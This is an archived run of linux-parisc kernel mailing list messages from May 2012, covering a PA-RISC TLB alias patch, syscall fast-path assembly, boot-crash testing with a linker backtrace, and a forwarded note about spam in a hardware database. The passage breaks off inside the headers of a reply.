+	do_alias	spc,t0,t1,va,pte,prot,nadtlb_emulate,20
 
 	idtlbt          pte,prot
 
@@ -1245,7 +1249,7 @@ dtlb_miss_11:
 	nop
 
 dtlb_check_alias_11:
-	do_alias	spc,t0,t1,va,pte,prot,dtlb_fault
+	do_alias	spc,t0,t1,va,pte,prot,dtlb_fault,11
 
 	idtlba          pte,(va)
 	idtlbp          prot,(va)
@@ -1277,7 +1281,7 @@ nadtlb_miss_11:
 	nop
 
 nadtlb_check_alias_11:
-	do_alias	spc,t0,t1,va,pte,prot,nadtlb_emulate
+	do_alias	spc,t0,t1,va,pte,prot,nadtlb_emulate,11
 
 	idtlba          pte,(va)
 	idtlbp          prot,(va)
@@ -1304,7 +1308,7 @@ dtlb_miss_20:
 	nop
 
 dtlb_check_alias_20:
-	do_alias	spc,t0,t1,va,pte,prot,dtlb_fault
+	do_alias	spc,t0,t1,va,pte,prot,dtlb_fault,20
 	
 	idtlbt          pte,prot
 
@@ -1330,7 +1334,7 @@ nadtlb_miss_20:
 	nop
 
 nadtlb_check_alias_20:
-	do_alias	spc,t0,t1,va,pte,prot,nadtlb_emulate
+	do_alias	spc,t0,t1,va,pte,prot,nadtlb_emulate,20
 
 	idtlbt          pte,prot
 
@@ -1457,7 +1461,7 @@ naitlb_miss_20w:
 	nop
 
 naitlb_check_alias_20w:
-	do_alias	spc,t0,t1,va,pte,prot,naitlb_fault
+	do_alias	spc,t0,t1,va,pte,prot,naitlb_fault,20
 
 	iitlbt		pte,prot
 
@@ -1511,7 +1515,7 @@ naitlb_miss_11:
 	nop
 
 naitlb_check_alias_11:
-	do_alias	spc,t0,t1,va,pte,prot,itlb_fault
+	do_alias	spc,t0,t1,va,pte,prot,itlb_fault,11
 
 	iitlba          pte,(%sr0, va)
 	iitlbp          prot,(%sr0, va)
@@ -1557,7 +1561,7 @@ naitlb_miss_20:
 	nop
 
 naitlb_check_alias_20:
-	do_alias	spc,t0,t1,va,pte,prot,naitlb_fault
+	do_alias	spc,t0,t1,va,pte,prot,naitlb_fault,20
 
 	iitlbt          pte,prot
 


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc
Subject: Re: [parisc] double restarts on multiple signal arrivals
Date: Sun, 20 May 2012 16:38:20 -0400
Lines: 43
Approved: news@gmane.org
Message-ID: <CADZpyizTP7n3kaPurqoeWPcEkhBK+UKY5j+30=RrMzM5w74xvQ@mail.gmail.com>
References: <20120518175833.GQ22082@ZenIV.linux.org.uk>
	<CAP6odjiS+oH7ajnHcyBJwm9bCTZxDJ7w02JeCuWW_UF3Fm49xw@mail.gmail.com>
	<20120518195610.GV22082@ZenIV.linux.org.uk>
	<CAP6odjgyK3af7yqHAFTTs38SSNM9H49oWiH=a4byp4MerirE0g@mail.gmail.com>
	<CADZpyixTTcNd0GekBg=UeWMf3eR+Casn6r7cLkcfnaH1Mihk=w@mail.gmail.com>
	<20120518222422.GX22082@ZenIV.linux.org.uk>
	<20120520084042.GA25447@ZenIV.linux.org.uk>
	<20120520090444.GA26841@ZenIV.linux.org.uk>
	<BLU0-SMTP98435C9101767076C00E7A971C0@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1337546340 26360 80.91.229.3 (20 May 2012 20:39:00 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 20 May 2012 20:39:00 +0000 (UTC)
Cc: Al Viro <viro@zeniv.linux.org.uk>,
	Grant Grundler <grantgrundler@gmail.com>,
	linux-parisc@vger.kernel.org,
	Linus Torvalds <torvalds@linux-foundation.org>,
	linux-arch@vger.kernel.org
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-arch-owner@vger.kernel.org Sun May 20 22:38:58 2012
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1SWCu1-0007zu-J4
	for glka-linux-arch@plane.gmane.org; Sun, 20 May 2012 22:38:57 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753467Ab2ETUiq convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glka-linux-arch@m.gmane.org>);
	Sun, 20 May 2012 16:38:46 -0400
Original-Received: from mail-pb0-f46.google.com ([209.85.160.46]:58397 "EHLO
	mail-pb0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752453Ab2ETUiV convert rfc822-to-8bit (ORCPT
	<rfc822;linux-arch@vger.kernel.org>); Sun, 20 May 2012 16:38:21 -0400
Original-Received: by pbbrp8 with SMTP id rp8so6072482pbb.19
        for <multiple recipients>; Sun, 20 May 2012 13:38:20 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        bh=/PlqpyplMRk2a1osxkcqMJnSj8kqcyFZL9o0eEi1dig=;
        b=KLvQ9LX84zv2fy5eV3yNCPCML345U4br3AQtPoWOs5SWCzvThVanQk7/xN+m2JyCYE
         k85vCzBCpVW1G8WPbr7PjZyTVIMwTPZMXybXq9NpToiB9MtHBlCNJ9AeUQ3TohJhzpJM
         dR+Z19BKsKJ3a+wTntH71kiNFAb1Dg3lOw0+wierCG5lWWIMqof+96J7WT95JdTA0u89
         kUWSqReftCeCvkdetuETNx1luSDGSUHo0LOYZZWdbip6/lTBAdsNdZd85ETzdVSm0vkQ
         K27kwAgiRkCtd1UBVbx3gxrk1k7FwCH6VlZ1ggXhdgrDEDQbyzgHwlkiwrYu566WCkJz
         ePZQ==
Original-Received: by 10.68.234.35 with SMTP id ub3mr61906880pbc.8.1337546300534; Sun,
 20 May 2012 13:38:20 -0700 (PDT)
Original-Received: by 10.68.220.164 with HTTP; Sun, 20 May 2012 13:38:20 -0700 (PDT)
In-Reply-To: <BLU0-SMTP98435C9101767076C00E7A971C0@phx.gbl>
X-Google-Sender-Auth: GFFOAvskNZopZYScYDkYlS9WThw
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:14206 gmane.linux.ports.parisc:4452
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.cross-arch/14206>

On Sun, May 20, 2012 at 2:46 PM, John David Anglin <dave.anglin@bell.ne=
t> wrote:
> On 20-May-12, at 5:04 AM, Al Viro wrote:
>
>> Actually, looks like I am missing something, but it's not particular=
y
>> subtle.
>> SYSCALL_TRACE is needed for do_syscall_trace_enter() to do anything;
>> any of SYSCALL_TRACE/SINGLESTEP/BLOCKSTEP is makes
>> do_syscall_trace_leave()
>> do things. =A0So checking one bit in flags is not enough - any of th=
ose 3 is
>> a reason for taking the slow path. =A0The point still stands, though=
 -
>> =A0 =A0 =A0 =A0mfctl =A0 %cr30, %r1
>> =A0 =A0 =A0 =A0LDREG =A0 TI_FLAGS(%r1),%r1
>> =A0 =A0 =A0 =A0ldi =A0 =A0 (_TIF_SYSCALL_TRACE | _TIF_SINGLESTEP | _=
TIF_BLOCKSTEP),
>> %r19
>> =A0 =A0 =A0 and,COND(=3D) %r19, %r1, %r0
>> =A0 =A0 =A0 =A0b,n =A0 =A0 .Ltracesys
>> would still be no worse on the fast path and would not hit the slow =
path
>> in
>> a lot of cases when the current code does it for no apparent reason.
>>
>> Comments?
>
>
> This looks good to me. =A0There is similar code in entry.S.
>
> I added the above change to my patch set for stable 3.3.6. =A0System =
still
> boots. =A0I singled stepped /bin/ls through a directory listing and i=
t seemed
> to work.

I'm running this through the ringer on my local system.

I'll send out an update when I'm done testing.

Cheers,
Carlos.

From - Thu Nov 08 21:08:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Issue booting v2.6.39 .. v3.4-rc6 on hp712/100
Date: Sun, 20 May 2012 23:09:09 +0200
Lines: 137
Approved: news@gmane.org
Message-ID: <4FB95D75.1020705@gmx.de>
References: <4FA9975C.5060708@bergerie>     <41786065.U2qKzXR3uX@donald.sf-tec.de> <4FAA9382.7040802@bell.net>     <4FAADE2A.9080803@bergerie>   <BLU0-SMTP65CF901B170B044925E85897160@phx.gbl>   <4FAEE943.2030203@gmx.de>   <BLU0-SMTP93504AF1AF0414C90D1EFB971A0@phx.gbl>   <4FB182F8.2040403@gmx.de>   <BLU0-SMTP728EA90F4400504B2AF7A4971A0@phx.gbl>     <1337069366.3005.10.camel@dabdike.lan>    <1337073212.3005.12.camel@dabdike.lan> <4FB29F13.5070801@bell.net>    <4FB2A58A.9050706@gmx.de> <4FB2AD78.1020002@bell.net>    <4FB2B2A2.2020207@bell.net> <4FB2B5B1.7000604@gmx.de>    <4FB2B71B.7090602@bell.net> <4FB2BC5F.3080905@gmx.de>    <4FB2C129.90307@bell.net> <4FB550F1.7080104@gmx.de>   <1337328744.2938.5.camel@dabdike.int.hansenpartnership.com>   <4FB6BA76.6010101@gmx.de>  <1337508060.2682.13.came
 l@dabdike.int.hansenpartnership.com>  <4FB941EF.4060304@gmx.de> <1337544924.2682.21.camel@dabdike.int.hansenpartnership.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1337548161 5828 80.91.229.3 (20 May 2012 21:09:21 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 20 May 2012 21:09:21 +0000 (UTC)
Cc: John David Anglin <dave.anglin@bell.net>,
	Vincent <vincent.stehle@laposte.net>,
	Rolf Eike Beer <eike-kernel@sf-tec.de>,
	linux-parisc@vger.kernel.org
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun May 20 23:09:20 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SWDNN-0000i1-KH
	for glpp-linux-parisc@plane.gmane.org; Sun, 20 May 2012 23:09:17 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754058Ab2ETVJR (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 20 May 2012 17:09:17 -0400
Original-Received: from mailout-de.gmx.net ([213.165.64.23]:47791 "HELO
	mailout-de.gmx.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with SMTP id S1753736Ab2ETVJQ (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 20 May 2012 17:09:16 -0400
Original-Received: (qmail invoked by alias); 20 May 2012 21:09:14 -0000
Original-Received: from p54AD06D9.dip0.t-ipconnect.de (EHLO [192.168.178.51]) [84.173.6.217]
  by mail.gmx.net (mp029) with SMTP; 20 May 2012 23:09:14 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX19KSkEsIddKyh+BshVqvwmlfP5nz+PB3sh89jNsFO
	Ru/ttKQp32Qmku
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:12.0) Gecko/20120430 Thunderbird/12.0.1
In-Reply-To: <1337544924.2682.21.camel@dabdike.int.hansenpartnership.com>
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4453
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4453>

On 05/20/2012 10:15 PM, James Bottomley wrote:
> On Sun, 2012-05-20 at 21:11 +0200, Helge Deller wrote:
>> On 05/20/2012 12:01 PM, James Bottomley wrote:
>>> On Fri, 2012-05-18 at 23:09 +0200, Helge Deller wrote:
>>>> James, here is the full kernel log. Does this help?
>>> Yes and no: it shows clearly we got all the way through the initrd, so
>>> we've gone through the alias region thousands of times doing flushes.
>>>
>>>> Kernel Fault: Code=26 regs=8fc30940 (Addr=0f2ff000)
>>>>
>>> It's an access rights trap, presumably on the alias tlb, since the
>>> address is definitely in the alias region.  The obvious candidate is the
>>> protection id deposit in do_alias
>>>
>>> 	depw,z		\prot,8,7,\prot
>>>
>>> but that all checks out fine (you can compare it with
>>> make_insert_tlb_11). So the page should have read, write and dirty set.
>>>
>>> The interesting thing is that the only way to get an access rights trap
>>> in the kernel is if the protection type is zero and I just can't see how
>>> do_alias would zero out \prot in a way that functions on your C3000
>>> (PA2.0) but not on the PA1.1 systems.
>>>
>>> Are you sure this is booting the same kernel?
>> Yes, since I use tftboot to deliver same vmlinux kernel to all my machines
>> for bootup.
> The penny finally dropped on Dave's last comment.  The _20 path needs to
> use wide instructions even though it's executing narrow code because we
> have to use the PA2.0 tlb insertion instruction, so it's not
> CONFIG_64BIT that's the differentiator, but which interruption path
> we're on.
>
> Does this fix it?
Yes, this fixed the crash. No segfaults at all on all my machines  :-)

C3000:~# uname -a
Linux c3000 3.4.0-rc7-32bit+ #11 Sun May 20 22:30:48 CEST 2012 parisc 
GNU/Linux

715/64:~# uname -a
Linux pa64 3.4.0-rc7-32bit+ #11 Sun May 20 22:30:48 CEST 2012 parisc 
GNU/Linux

B160L:~# uname -a
Linux b160 3.4.0-rc7-32bit+ #11 Sun May 20 22:30:48 CEST 2012 parisc 
GNU/Linux

REALLY COOL!

This is with
- Linus git head (which includes James "parisc-fixes" branch)
- with Daves vmlinux.lds.S patch
- and James PA 20 TLB-fix patch above.



Just to make sure, I just wanted to build the same kernel now for 64bit...
Sadly hppa64-ld crashes for me...

[deller@p100 linus-linux-2.6-64bit]$ gdb 
/opt/cross-hppa-4.6/bin/hppa64-linux-ld
GNU gdb (GDB) Fedora (7.3.1-48.fc15)
Copyright (C) 2011 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later 
<http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-redhat-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /opt/cross-hppa-4.6/bin/hppa64-linux-ld...done.
(gdb) run --build-id -o .tmp_vmlinux2 -T arch/parisc/kernel/vmlinux.lds 
arch/parisc/kernel/head.o init/built-in.o --start-group usr/built-in.o 
arch/parisc/mm/built-in.o arch/parisc/kernel/built-in.o 
arch/parisc/math-emu/built-in.o arch/parisc/kernel/init_task.o 
kernel/built-in.o mm/built-in.o fs/built-in.o ipc/built-in.o 
security/built-in.o crypto/built-in.o block/built-in.o lib/lib.a 
arch/parisc/lib/lib.a `hppa64-linux-gcc -print-libgcc-file-name` 
lib/built-in.o arch/parisc/lib/built-in.o `hppa64-linux-gcc 
-print-libgcc-file-name` drivers/built-in.o sound/built-in.o 
firmware/built-in.o net/built-in.o --end-group .tmp_kallsyms1.o
Starting program: /opt/cross-hppa-4.6/bin/hppa64-linux-ld --build-id -o 
.tmp_vmlinux2 -T arch/parisc/kernel/vmlinux.lds 
arch/parisc/kernel/head.o init/built-in.o --start-group usr/built-in.o 
arch/parisc/mm/built-in.o arch/parisc/kernel/built-in.o 
arch/parisc/math-emu/built-in.o arch/parisc/kernel/init_task.o 
kernel/built-in.o mm/built-in.o fs/built-in.o ipc/built-in.o 
security/built-in.o crypto/built-in.o block/built-in.o lib/lib.a 
arch/parisc/lib/lib.a `hppa64-linux-gcc -print-libgcc-file-name` 
lib/built-in.o arch/parisc/lib/built-in.o `hppa64-linux-gcc 
-print-libgcc-file-name` drivers/built-in.o sound/built-in.o 
firmware/built-in.o net/built-in.o --end-group .tmp_kallsyms1.o
/opt/cross-hppa-4.6/bin/hppa64-linux-ld:
Program received signal SIGSEGV, Segmentation fault.
0x00000034d7a4a26e in vfprintf () from /lib64/libc.so.6
Missing separate debuginfos, use: debuginfo-install 
glibc-2.14.1-6.x86_64 zlib-1.2.5-6.fc15.x86_64
(gdb) bt
#0  0x00000034d7a4a26e in vfprintf () from /lib64/libc.so.6
#1  0x00000034d7a4b4f4 in buffered_vfprintf () from /lib64/libc.so.6
#2  0x00000034d7a4691e in vfprintf () from /lib64/libc.so.6
#3  0x0000000000425a2d in _bfd_default_error_handler (fmt=0x4c6ff3 
"+0xlx): cannot reach %s") at /mnt/sda4/home/cvs/binutils/bfd/bfd.c:727
#4  0x0000000000441de0 in elf_hppa_final_link_relocate (eh=0x773890, 
sym_sec=<optimized out>, info=0x6e8d00, value=<optimized out>, 
contents=0x2a624e0 "\b\003\002A\017\302\022\301\b\036\002Cs\301\002(+v 
", input_section=0x7627c8,
     output_bfd=0x705900, input_bfd=0x73e270, rel=0x7779e0) at 
/mnt/sda4/home/cvs/binutils/bfd/elf64-hppa.c:3276
#5  elf64_hppa_relocate_section (output_bfd=0x705900, info=0x6e8d00, 
input_bfd=0x73e270, input_section=0x7627c8, contents=0x2a624e0 
"\b\003\002A\017\302\022\301\b\036\002Cs\301\002(+v ", relocs=<optimized 
out>, local_syms=0x2d1b230,
     local_sections=0x2dec550) at 
/mnt/sda4/home/cvs/binutils/bfd/elf64-hppa.c:3930
#6  0x000000000046250f in elf_link_input_bfd (flinfo=0x7fffffffd910, 
input_bfd=0x73e270) at /mnt/sda4/home/cvs/binutils/bfd/elflink.c:9582
#7  0x0000000000463ff7 in bfd_elf_final_link (abfd=0x705900, 
info=0x6e8d00) at /mnt/sda4/home/cvs/binutils/bfd/elflink.c:10734
#8  0x000000000043f032 in elf64_hppa_final_link (abfd=0x705900, 
info=0x6e8d00) at /mnt/sda4/home/cvs/binutils/bfd/elf64-hppa.c:3028
#9  0x0000000000417e26 in ldwrite () at 
/mnt/sda4/home/cvs/binutils/ld/ldwrite.c:582
#10 0x0000000000402f9c in main (argc=33, argv=0x7fffffffdce8) at 
/mnt/sda4/home/cvs/binutils/ld/ldmain.c:420

this is with binutils CVS head (just pulled and compiled again), gcc 
from gcc-4.6 branch

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Issue booting v2.6.39 .. v3.4-rc6 on hp712/100
Date: Sun, 20 May 2012 17:25:50 -0400
Lines: 23
Approved: news@gmane.org
Message-ID: <BLU0-SMTP33779E3F5B5087F47880C2971C0@phx.gbl>
References: <4FA9975C.5060708@bergerie>     <41786065.U2qKzXR3uX@donald.sf-tec.de> <4FAA9382.7040802@bell.net>     <4FAADE2A.9080803@bergerie>   <BLU0-SMTP65CF901B170B044925E85897160@phx.gbl>   <4FAEE943.2030203@gmx.de>   <BLU0-SMTP93504AF1AF0414C90D1EFB971A0@phx.gbl>   <4FB182F8.2040403@gmx.de>   <BLU0-SMTP728EA90F4400504B2AF7A4971A0@phx.gbl>     <1337069366.3005.10.camel@dabdike.lan>    <1337073212.3005.12.camel@dabdike.lan> <4FB29F13.5070801@bell.net>    <4FB2A58A.9050706@gmx.de> <4FB2AD78.1020002@bell.net>    <4FB2B2A2.2020207@bell.net> <4FB2B5B1.7000604@gmx.de>    <4FB2B71B.7090602@bell.net> <4FB2BC5F.3080905@gmx.de>    <4FB2C129.90307@bell.net> <4FB550F1.7080104@gmx.de>   <1337328744.2938.5.camel@dabdike.int.hansenpartnership.com>   <4FB6BA76.6010101@gmx.de>  <1337508060.2682.13.came
 l@dabdike.int.hansenpartnership.com>  <4FB941EF.4060304@gmx.de> <1337544924.2682.21.camel@dabdike.int.hansenpartnership.com> <4FB95D75.1020705@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1337549177 12485 80.91.229.3 (20 May 2012 21:26:17 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 20 May 2012 21:26:17 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@HansenPartnership.com>,
	Vincent <vincent.stehle@laposte.net>,
	Rolf Eike Beer <eike-kernel@sf-tec.de>,
	linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun May 20 23:26:15 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SWDdg-0001tA-V9
	for glpp-linux-parisc@plane.gmane.org; Sun, 20 May 2012 23:26:09 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754107Ab2ETV0I (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 20 May 2012 17:26:08 -0400
Original-Received: from blu0-omc3-s12.blu0.hotmail.com ([65.55.116.87]:31133 "EHLO
	blu0-omc3-s12.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1753612Ab2ETV0I (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 20 May 2012 17:26:08 -0400
Original-Received: from BLU0-SMTP33 ([65.55.116.74]) by blu0-omc3-s12.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Sun, 20 May 2012 14:26:07 -0700
X-Originating-IP: [174.92.87.213]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([174.92.87.213]) by BLU0-SMTP33.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Sun, 20 May 2012 14:26:06 -0700
In-Reply-To: <4FB95D75.1020705@gmx.de>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 20 May 2012 21:26:06.0799 (UTC) FILETIME=[2ACF95F0:01CD36CF]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4454
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4454>

On 20-May-12, at 5:09 PM, Helge Deller wrote:

> Just to make sure, I just wanted to build the same kernel now for  
> 64bit...
> Sadly hppa64-ld crashes for me...

Please file a bug report ;(

I haven't tested binutils for some time...

Suggest using 2.22 branch for now.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:22 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <T-Bone@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Fwd: Washing of machine owner database
Date: Mon, 21 May 2012 08:37:15 -0700
Lines: 46
Approved: news@gmane.org
Message-ID: <CA+DQjFj23mRTQnZVb2ikT3qJQ3SCXm9WSxhB3gyFwUD43vdX5Q@mail.gmail.com>
References: <4FBA4592.6090007@uib.no>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1337614663 9876 80.91.229.3 (21 May 2012 15:37:43 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 21 May 2012 15:37:43 +0000 (UTC)
To: linux-parisc <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon May 21 17:37:43 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SWUfx-0001et-Ss
	for glpp-linux-parisc@plane.gmane.org; Mon, 21 May 2012 17:37:38 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752342Ab2EUPhh convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 21 May 2012 11:37:37 -0400
Original-Received: from mail-yx0-f174.google.com ([209.85.213.174]:44905 "EHLO
	mail-yx0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752094Ab2EUPhg convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 21 May 2012 11:37:36 -0400
Original-Received: by yenm10 with SMTP id m10so4424583yen.19
        for <linux-parisc@vger.kernel.org>; Mon, 21 May 2012 08:37:35 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:sender:in-reply-to:references:from:date
         :x-google-sender-auth:message-id:subject:to:content-type
         :content-transfer-encoding;
        bh=XU5zN8nGqCUtL7JgrF0yO6Qf2BlCxncE+oTVpxFvkGI=;
        b=hTExdUUC3cDD2GVFhD2NsUCW6Qj/YByGVGAE+PBugA+EyOLl+RfDYhK6EAK2LdtaOc
         DLPV14wLvhC6r3EOJs1929aXVW/GeKnEQFJa8DNNdqtqjOaj+P0vWrEGXRDLDRRNGDxd
         wmABGDALfubzwJCUnRou225etmJZ4YIseGpKiHcshcxbR2VrHjzGLRAxLb2JRCa80Lcx
         kMmepPv0VW3os4MNWZV1SxK2+sCWp+f3v8pnx48a1CU8SjgobA5NFe+4uTD4WSnYbybu
         w5o17J9ZD+KCnUdQ4RK1CUHeYtw3EuZaeQ16EfSRYgKCmHBrBnEn0EkVWENMaDCePW0e
         SJEw==
Original-Received: by 10.236.75.164 with SMTP id z24mr23084235yhd.69.1337614655776;
 Mon, 21 May 2012 08:37:35 -0700 (PDT)
Original-Received: by 10.101.60.13 with HTTP; Mon, 21 May 2012 08:37:15 -0700 (PDT)
In-Reply-To: <4FBA4592.6090007@uib.no>
X-Google-Sender-Auth: 7ZFWLHToi4o1Y_221Fv-eNxJbtw
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4455
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4455>

Hi,

I just received this email as it seems that hwdb@p-l.o is still an
alias for me, which prompts the following remarks: I haven't been
doing any work on the p-l hwdb in the past 5+ years I think so maybe
that alias could be better used otherwise, and I think that aside
pruning the stuff that spammers have put there, it might be useful to
make that website/database read-only... :-)

HTH,
T-Bone


---------- Forwarded message ----------
=46rom: Karl Magnus Kolstoe <karl.kolsto@uib.no>
Date: Mon, May 21, 2012 at 6:39 AM
Subject: Washing of machine owner database
To: hwdb@parisc-linux.org
Cc: Karl Magnus Kolstoe <karl.kolsto@uib.no>


Hi,

I had a quick look at the machine database and concluded that you
might want to wash your database a bit.

Have e.g a look at "Owners of this machine" on this page;
http://hwdb.parisc-linux.org/view.php?type=3Dmachine&name=3DK100

Just thought I should mention it.

Thanks
--
Karl Magnus Kolst=C3=B8 - Member of the first RFC 1149 implementation t=
eam.


--=20
Thibaut VARENE
http://www.parisc-linux.org/~varenet/
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grantgrundler@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Washing of machine owner database
Date: Mon, 21 May 2012 09:19:57 -0700
Lines: 67
Approved: news@gmane.org
Message-ID: <CAP6odjggG1sjSpUr6rnLW9J+zZLsebxfxi-cPiiZxohDDiqRDQ@mail.gmail.com>
References: <4FBA4592.6090007@uib.no>
	<CA+DQjFj23mRTQnZVb2ikT3qJQ3SCXm9WSxhB3gyFwUD43vdX5Q@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
